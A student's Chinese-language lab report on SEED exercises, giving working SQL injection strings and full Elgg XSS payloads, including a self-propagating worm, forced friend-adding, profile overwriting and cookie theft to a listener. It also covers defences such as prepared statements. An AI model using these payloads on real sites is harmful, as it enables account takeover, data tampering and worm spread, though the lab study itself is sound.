1. 程式人生 > 其它 ># 20212935 2021-2022-2 《網路攻防實踐》實踐十報告

# 20212935 2021-2022-2 《網路攻防實踐》實踐十報告

1.實踐目的

學會SQL注入攻擊,利用漏洞發起XSS攻擊。

2.實踐環境

SeedUbuntu

3.實踐內容

3.1 SEED SQL注入攻擊與防禦實驗

我們已經建立了一個Web應用程式,並將其託管www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:

  • 熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
  • 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
  • 對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
  • SQL對抗:修復上述SQL注入攻擊漏洞。

3.2 SEED XSS跨站指令碼攻擊實驗(Elgg)

為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。

  • 釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
  • 彈窗顯示cookie資訊:將cookie資訊顯示。
  • 竊取受害者的cookies:將cookie傳送給攻擊者。
  • 成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
  • 修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
  • 編寫XSS蠕蟲。
  • 對抗XSS攻擊。

4.實踐過程

4.1 SEED SQL注入攻擊與防禦實驗

使用sudo service apache2 start命令啟動Apache服務。

4.1.1 熟悉SQL語句

(1)使用mysql -u root -pseedubuntu命令登陸mysql資料庫。

(2)進入資料庫後,使用use databases;命令檢視如下:

然後使用use Users;、show tables;命令檢視此資料庫的表如下:

(3)使用select * from credential;命令打印出此資料庫中的所有成員資訊,並且還可以看到| ID | Name | EID | Salary | birth | SSN | Password |等資訊。

4.1.2 對SELECT語句的SQL注入攻擊

(1)開啟 Web應用網站:http://www.SEEDLabSQLInjection.com,使用ctrl+U快捷鍵檢視此頁面的原始碼,可以發現使用者在點選提交後,表單將使用者輸入的資訊使用get方法提交到了unsafe_home.php頁面進行許可權校驗。

(2)使用cd /var/www/SQLInjection/命令進入此網址。

(3)使用vim /unsafe_home.php命令找到SQL語句,可以看到此處where部分存在可以進行注入攻擊的漏洞。

後的內容為註釋內容,那麼我們可以利用此漏洞,將name設為Admin‘#,那麼#後邊的內容就都沒了,相當於密碼部分直接為空白。

(4)驗證此想法:使用者名稱為Admin‘#,密碼為空。

(5)發現登陸成功,並且可以看到使用者的Username、Eid、Salary、Birthday、SSN等資訊如下。

4.1.3 對UPDATE語句的SQL注入攻擊

(1)利用4.1.2中發現的漏洞,使用Alice‘#使用者名稱登陸,發現Alice相應的資訊如下:

(2)利用頁面上Edit Profile功能,進入修改資訊。

(3)使用vim unsafe_edit_backend.php命令找到SQL語句,可以看到這個不能對工資進行修改。

(4)利用上邊的漏洞,如果將nikename那一項設為:',salary='20212935'where EID='10000';#(Alice的編號是10000),那麼就可以將Alice的工資設為20212935.

儲存後得到如下:

4.1.4 SQL對抗:修復上述SQL注入攻擊漏洞

在unsafe_edit_backend.php頁面中,對UPDATE語句進行預處理。原來的語句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改為:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

4.2 SEED XSS跨站指令碼攻擊實驗(Elgg)

4.2.1 釋出惡意訊息,顯示警報視窗

(1)進入到http://www.xsslabelgg.com/profile/alice網址,登陸賬戶,賬戶:Alice 密碼:seedalice

(2)利用edit profile功能修改頁面資訊,Brief description位置輸入命令後儲存。

(3)進入Alice介面後會彈出如下警報視窗:

4.2.2 彈窗顯示cookie資訊
(1)利用edit profile功能修改頁面資訊,Brief description位置輸入命令後儲存

(2)進入介面時可以看到會彈出如下視窗,並將cookie資訊顯示出來

4.2.3 竊取受害者的cookies
(1)使用本機(192.168.1.140)當作攻擊者,令cookies傳送到本機的2935埠。

(2)Brief description中輸入如下攻擊程式碼

(3)終端處輸入nc -l 2935 -v 命令,監聽此埠,得到如下cookies資訊。

4.2.4 成為受害者的朋友
(1)進入http://www.xsslabelgg.com/profile/boby 網址,訪問Boby使用者的主頁,然後Ctrl+Shift+E進入到此頁面的network頁面,選擇Add friend選項新增此朋友。

(2)新增後會得到如下反饋介面,其中Request URL為http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652762668&__elgg_token=aT1lAXvpdEUpbmNDMh4Rfw

(3)構造如下程式碼,輸入到Alice的About me中並儲存。

點選檢視程式碼
<script type="text/javascript"> window.onload = function () { var Ajax = null; var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts; var token = "&__elgg_token=" + elgg.security.token.__elgg_token; var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //傳送 Ajax 請求 Ajax = new XMLHttpRequest(); Ajax.open("GET", sendurl, true); Ajax.setRequestHeader("Host", "www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(); } </script>

(4)重新進入alice頁面,可以看到右側朋友列表中已經新增Boby為朋友。

4.2.5 修改受害者資訊
(1)將以下程式碼複製到alice的about me中並儲存。

點選檢視程式碼
<script type="text/javascript"> window.onload = function(){ var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>

(2)在boby中點選alice的主頁,就會將boby的about me資訊替換,此時檢視HTTP header live為如下所示

(3)檢視boby為:

4.2.6 編寫xss蠕蟲
(1)選擇呼叫DOM API的方法實現蠕蟲感染。
(2)將以下程式碼寫入到alice的about me中。

點選檢視程式碼
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

(3)儲存後,提示如下

(4)用boby訪問alice後,再返回boby,可以發現boby被感染蠕蟲

(5)登陸samy賬戶,檢視boby,再返回到samy,會看到samy也被蠕蟲感染。

4.2.7 對抗xss攻擊
(1)登陸admin賬戶(Admin;seedelgg),依次點選如下選擇

(2)點選進入Plugins,找到HTML,點選然後關閉。

(3)返回進入alice,可以發現不會被感染。

5.學習中遇到的問題及解決

  • 問題1:實踐4.1.1時,無法檢視到資料庫的表
  • 問題1解決方案:仔細檢查,發現在輸入命令時沒有加“;”,加上後就可以檢視到表的內容了。
  • 問題2:實踐4.2.1時,跟著操作進入http://www.xsslabelgg.com/profile/alice網址後沒有可編輯的選項
  • 問題2解決方案:沒有登陸alice的賬戶… ,登陸後就有了。

6.實踐總結

經過本次實踐,我對web應用程式安全攻防有了更深的認識,學會了如何利用SQL做注入攻擊,用XSS漏洞做攻擊。但本次實踐中一些需要寫程式的內容,我還不太會,要多加強這方面的學習。